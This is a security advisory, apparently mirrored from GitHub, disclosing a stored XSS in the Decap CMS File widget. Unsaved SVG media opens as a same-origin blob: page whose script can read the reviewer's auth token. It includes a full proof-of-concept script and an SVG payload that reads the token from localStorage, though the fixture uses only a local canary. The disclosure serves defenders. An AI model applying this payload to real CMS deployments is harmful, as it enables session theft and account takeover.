# GHSA-QF66-GQH8-QVRH: File widget preview opened unsaved SVG media as a same-origin page (stored XSS)

- Database: GitHub
- Severity: CVSS 5.4 (Medium)
- Published: 2026-10-26
- Modified: 2026-10-26

## Affected versions

- decap-cms-widget-file (npm): through 3.5.6
- decap-cms-app (npm): through 3.17.2
- decap-cms (npm): through 3.17.2

## Description

## Summary

The File widget's preview links each file to the URL that `getAsset()` returns. For media that isn't saved yet, for example a draft's media in the editorial workflow, that is a `blob:` URL, and a `blob:` URL belongs to the CMS origin. An SVG opened from that link as a page therefore ran its scripts in the CMS origin, with access to its storage, including the signed-in user's token under `decap-cms-user`. `rel="noopener noreferrer"` doesn't change the document's origin.

An editor who can add media to a draft could take over the account of a reviewer who clicks the file link.

## Patches

Fixed in `decap-cms-widget-file` 3.5.7, shipped in `decap-cms-app` and `decap-cms` 3.17.3. Links to `blob:` and `data:` URLs in the File preview now carry a `download` attribute, so following them saves the file instead of opening it. Links to saved media still open in a new tab.

## Workarounds

Don't open file links from the preview of drafts you don't trust; download the file from the repository instead.

---

### Summary

Decap CMS `3.16.3` reconstructs repository-controlled `.svg` media as an `image/svg+xml` `File`, creates a same-origin `blob:` URL, and exposes that URL as a `target="_blank"` link in the File widget preview. When a reviewer opens the link, Chromium renders the SVG as a top-level document and executes its script in the Decap CMS origin.

The script can read the same origin's `localStorage`, including the CMS authentication record stored under `decap-cms-user`. `rel="noopener noreferrer"` removes `window.opener`, but it does not place the blob document in a different origin or storage partition.

The PoC imports the exact release implementations of `FilePreview`, `blobToFileObj`, and `AssetProxy`. Before navigation, the identical SVG is inert as an embedded image. After the File link is opened as a top-level document, it executes and reads only a planted non-secret token canary.

### Details

#### Affected release

The confirmed affected product is `decap-cms@3.16.3`, commit [`1d5868347d3d8648d7d5f7f59fc1b46595881b29`](https://github.com/decaporg/decap-cms/commit/1d5868347d3d8648d7d5f7f59fc1b46595881b29). The vulnerable File preview is shipped in `decap-cms-widget-file@3.5.3`.

On 2026-09-23, the `decap-cms-app@3.16.3` tag and upstream `main` resolved to the same affected commit. No earlier Decap release was tested, and no patched release is known.

#### Preconditions

- Decap uses an ordinary shared editorial workflow with a File field.

- The attacker can create or modify a draft and its media, but does not have the reviewer's broader provider authority.

- The attacker supplies an SVG file containing script and references it from the File field.

- A reviewer opens the draft and follows the File preview link.

This report does not claim direct reachability from an arbitrary unauthenticated user or from a GitHub Open Authoring fork that is not visible to the maintainer inside Decap CMS. The required user interaction is one click on the displayed File link.

#### Root cause

When Decap loads an unpublished entry, every non-entry diff is loaded as draft media and registered as an `AssetProxy`:

- [`packages/decap-cms-core/src/backend.ts` lines 1030-1057](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/backend.ts#L1030-L1057)

- [`packages/decap-cms-core/src/actions/editorialWorkflow.ts` lines 240-270](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/actions/editorialWorkflow.ts#L240-L270)

SVG media is explicitly reconstructed with the active `image/svg+xml` MIME type:

- [`packages/decap-cms-lib-util/src/implementation.ts` lines 377-390](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-lib-util/src/implementation.ts#L377-L390)

Supported backends create a browser object URL from that active file. The GitHub implementation is shown here; GitLab and Bitbucket contain the same transition:

- [`packages/decap-cms-backend-github/src/implementation.tsx` lines 630-647](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-backend-github/src/implementation.tsx#L630-L647)

- [`packages/decap-cms-backend-gitlab/src/implementation.ts` lines 479-497](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-backend-gitlab/src/implementation.ts#L479-L497)

- [`packages/decap-cms-backend-bitbucket/src/implementation.ts` lines 542-561](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-backend-bitbucket/src/implementation.ts#L542-L561)

`AssetProxy.toString()` exposes the object URL, and the File widget passes that value directly to a navigable anchor:

- [`packages/decap-cms-core/src/valueObjects/AssetProxy.ts` lines 10-25](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/valueObjects/AssetProxy.ts#L10-L25)

- [`packages/decap-cms-widget-file/src/FilePreview.js` lines 6-35](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-widget-file/src/FilePreview.js#L6-L35)

Widget previews are rendered in a `react-frame-component` frame without a `sandbox` attribute, and the frame installs `<base target="_blank">`:

- [`packages/decap-cms-core/src/components/Editor/EditorPreviewPane/EditorPreviewPane.js` lines 32-38](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/components/Editor/EditorPreviewPane/EditorPreviewPane.js#L32-L38)

- [`packages/decap-cms-core/src/components/Editor/EditorPreviewPane/EditorPreviewPane.js` lines 281-303](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/components/Editor/EditorPreviewPane/EditorPreviewPane.js#L281-L303)

The CMS authentication record is stored in origin-readable `localStorage` under `decap-cms-user`:

- [`packages/decap-cms-core/src/backend.ts` lines 112-125](https://github.com/decaporg/decap-cms/blob/1d5868347d3d8648d7d5f7f59fc1b46595881b29/packages/decap-cms-core/src/backend.ts#L112-L125)

#### Relationship to the earlier preview XSS advisory

[`CVE-2025-57520` / `GHSA-xp8g-32qh-mv28`](https://github.com/advisories/GHSA-xp8g-32qh-mv28) covers stored XSS through unsanitized Markdown/HTML preview rendering in versions through `3.8.3`. This report uses a different sink: a File-widget anchor navigating to an active-MIME object URL. It does not depend on `dangerouslySetInnerHTML` or `sanitize_preview` and remains reproducible in `3.16.3`.

[`PR #7970`](https://github.com/decaporg/decap-cms/pull/7970) removes same-origin `blob:` URLs from Markdown anchors and forms while keeping them for embedded images, but it does not cover the separate File-preview anchor. The maintainers and CNA can determine whether this warrants a new advisory or an extension of the earlier record.

#### Suggested remediation

1. Treat SVG, HTML, XML, and other active document types as download-only in File previews.
2. Generate downloads from bytes with a non-renderable MIME type such as `application/octet-stream`, an explicit filename, and no normal navigation to the active-MIME object URL.
3. Keep safe embedded-image preview behavior separate from top-level navigation behavior.
4. Apply an explicit protocol and media-type policy to every File-widget navigation sink; do not rely on React URL filtering or `noopener`.
5. Revoke object URLs when they are no longer needed.
6. Add a browser regression test that confirms an SVG remains inert both as an embedded image and after every File-preview interaction.

### PoC

#### Prerequisites

- Git
- Bun
- Chromium or another browser that supports top-level SVG blob-document navigation

The fixture binds only to a random `127.0.0.1` port. It stores only `LOCAL-CANARY-NOT-A-REAL-TOKEN`, sends no outbound request, and removes its temporary build directory on exit.

#### 1. Check out the affected release and install the exact UI dependencies

```bash
mkdir decap-svg-file-widget-poc
cd decap-svg-file-widget-poc
git clone --depth 1 --branch 'decap-cms-app@3.16.3' \
  https://github.com/decaporg/decap-cms.git decap-cms
mkdir runner
cd runner
bun init -y
bun add --exact \
  @emotion/react@11.14.0 \
  @emotion/styled@11.14.1 \
  immutable@4.3.9 \
  lodash@4.17.21 \
  prop-types@15.8.1 \
  react@19.2.0 \
  react-dom@19.2.0 \
  react-frame-component@5.2.7 \
  semaphore@1.1.0
```

Save the following as `poc.ts`:

```typescript
import { mkdtemp, rm, writeFile } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import path from 'node:path';

const sourceRoot = path.resolve(Bun.argv[2] ?? 'decap-cms');
const dependencyRoot = path.resolve(Bun.argv[3] ?? process.cwd());
const filePreview = path.join(
  sourceRoot,
  'packages',
  'decap-cms-widget-file',
  'src',
  'FilePreview.js',
);
const libUtil = path.join(
  sourceRoot,
  'packages',
  'decap-cms-lib-util',
  'src',
  'implementation.ts',
);
const assetProxy = path.join(
  sourceRoot,
  'packages',
  'decap-cms-core',
  'src',
  'valueObjects',
  'AssetProxy.ts',
);

const buildRoot = await mkdtemp(path.join(tmpdir(), 'decap-svg-file-widget-poc-'));
const entryPath = path.join(buildRoot, 'entry.jsx');
const shimPath = path.join(buildRoot, 'ui-shim.jsx');
const outputPath = path.join(buildRoot, 'entry.js');

await writeFile(
  shimPath,
  `import React from 'react';
export const WidgetPreviewContainer = ({ children }) => <div>{children}</div>;
`,
);

await writeFile(
  entryPath,
  `import React from 'react';
import { createRoot } from 'react-dom/client';
import * as FrameModule from 'react-frame-component';
import FilePreview from ${JSON.stringify(filePreview)};
import { blobToFileObj } from ${JSON.stringify(libUtil)};
import { createAssetProxy } from ${JSON.stringify(assetProxy)};

const Frame = FrameModule.default?.default ?? FrameModule.default;
const markerKey = 'decap-svg-file-widget-poc-marker';
const fakeToken = 'LOCAL-CANARY-NOT-A-REAL-TOKEN';
localStorage.removeItem(markerKey);
localStorage.setItem('decap-cms-user', JSON.stringify({ token: fakeToken }));

const svg = \`<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="560" height="180">
  <rect width="100%" height="100%" fill="#fee2e2"/>
  <text x="20" y="70" font-size="24">Decap File widget PoC</text>
  <script><![CDATA[
    const auth = JSON.parse(localStorage.getItem('decap-cms-user') || '{}');
    localStorage.setItem('\${markerKey}', JSON.stringify({
      executed: true,
      origin: location.origin,
      protocol: location.protocol,
      tokenCanary: auth.token,
      openerIsNull: window.opener === null
    }));
    document.documentElement.setAttribute('data-script-executed', 'true');
  ]]></script>
</svg>\`;

const file = blobToFileObj('payload.svg', new Blob([svg]));
const objectUrl = URL.createObjectURL(file);
const asset = createAssetProxy({ path: 'static/uploads/payload.svg', url: objectUrl });

function App() {
  return (
    <main>
      <h1>Decap CMS 3.16.3 SVG File-widget reproduction</h1>
      <p id="mime">MIME: {file.type}</p>
      <Frame
        id="preview-pane"
        initialContent="<!DOCTYPE html><html><head><base target='_blank'/></head><body><div></div></body></html>"
      >
        <FilePreview value="static/uploads/payload.svg" field={{}} getAsset={() => asset} />
        <p>Embedded-image negative control:</p>
        <img id="embedded-control" src={objectUrl} width="280" alt="SVG negative control" />
      </Frame>
      <pre id="result"></pre>
    </main>
  );
}

createRoot(document.querySelector('#root')).render(<App />);

setInterval(() => {
  const frame = document.querySelector('#preview-pane');
  const anchor = frame?.contentDocument?.querySelector('a');
  const result = {
    mime: file.type,
    iframeSandbox: frame?.getAttribute('sandbox'),
    iframeOrigin: frame?.contentWindow?.location.origin,
    anchorHref: anchor?.href,
    anchorTarget: anchor?.target,
    anchorRel: anchor?.rel,
    marker: JSON.parse(localStorage.getItem(markerKey) || 'null'),
  };
  document.querySelector('#result').textContent = JSON.stringify(result, null, 2);
}, 100);
`,
);

const result = await Bun.build({
  entrypoints: [entryPath],
  outdir: buildRoot,
  naming: 'entry.js',
  target: 'browser',
  minify: false,
  plugins: [
    {
      name: 'poc-dependency-resolution',
      setup(builder) {
        builder.onResolve(
          { filter: /^(?:react$|react-dom\/|react-frame-component$|prop-types$|@emotion\/|immutable$|semaphore$|lodash\/)/ },
          ({ path: request }) => ({ path: Bun.resolveSync(request, dependencyRoot) }),
        );
        builder.onResolve({ filter: /^decap-cms-ui-default$/ }, () => ({ path: shimPath }));
      },
    },
  ],
});

if (!result.success) {
  for (const log of result.logs) console.error(log);
  await rm(buildRoot, { recursive: true, force: true });
  process.exit(1);
}

const html = `<!doctype html>
<html lang="en">
  <head><meta charset="utf-8"><title>Decap SVG File-widget PoC</title></head>
  <body><div id="root"></div><script type="module" src="/entry.js"></script></body>
</html>`;

const server = Bun.serve({
  hostname: '127.0.0.1',
  port: 0,
  fetch(request) {
    const pathname = new URL(request.url).pathname;
    if (pathname === '/' || pathname === '/index.html') {
      return new Response(html, { headers: { 'Content-Type': 'text/html; charset=utf-8' } });
    }
    if (pathname === '/entry.js') {
      return new Response(Bun.file(outputPath), {
        headers: { 'Content-Type': 'text/javascript; charset=utf-8' },
      });
    }
    return new Response('Not found', { status: 404 });
  },
});

console.log(`Open ${server.url}`);
console.log('In the preview frame, click static/uploads/payload.svg, then return to this tab.');
console.log('The result must show image/svg+xml, no iframe sandbox, _blank/noopener, and a marker.');

async function stop() {
  server.stop(true);
  await rm(buildRoot, { recursive: true, force: true });
  process.exit(0);
}

process.on('SIGINT', stop);
process.on('SIGTERM', stop);
await new Promise(() => {});
```

#### 2. Run the fixture

```bash
NODE_PATH="$PWD/node_modules" bun poc.ts ../decap-cms
```

Open the loopback URL printed by the script. Before navigation, the result must contain:

```json
{
  "mime": "image/svg+xml",
  "iframeSandbox": null,
  "anchorTarget": "_blank",
  "anchorRel": "noopener noreferrer",
  "marker": null
}
```

The embedded image is visible but does not execute the SVG script. Click `static/uploads/payload.svg` inside the preview frame. The new tab is the `blob:` SVG document.

If a hardened or automated browser blocks creation of the `_blank` tab, copy the complete `anchorHref` value printed in the result and paste it into a new tab in the same browser profile while the fixture remains open. This navigates to the identical object URL. In either case, the SVG document sets `data-script-executed="true"` on its root and stores:

```json
{
  "executed": true,
  "origin": "http://127.0.0.1:<random-port>",
  "protocol": "blob:",
  "tokenCanary": "LOCAL-CANARY-NOT-A-REAL-TOKEN",
  "openerIsNull": true
}
```

Return to the original tab to see the same marker in the result. Press `Ctrl-C` to stop the loopback server and remove the generated build directory.

### Impact

A contributor who can place draft media in a shared editorial workflow can execute JavaScript in a reviewer's authenticated Decap CMS origin after the reviewer opens the File preview link. The script can read the reviewer's stored provider authentication record and perform same-origin CMS actions with the reviewer's authority.

Reported by [Omoikane Labs](https://github.com/Omoikane-Labs). Requested credit: [ffasterss](https://github.com/ffasterss) & [shirabe0x05](https://github.com/shirabe0x05).

## References

- https://github.com/decaporg/decap-cms/security/advisories/GHSA-qf66-gqh8-qvrh

Page: https://cve.now/GHSA-QF66-GQH8-QVRH

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
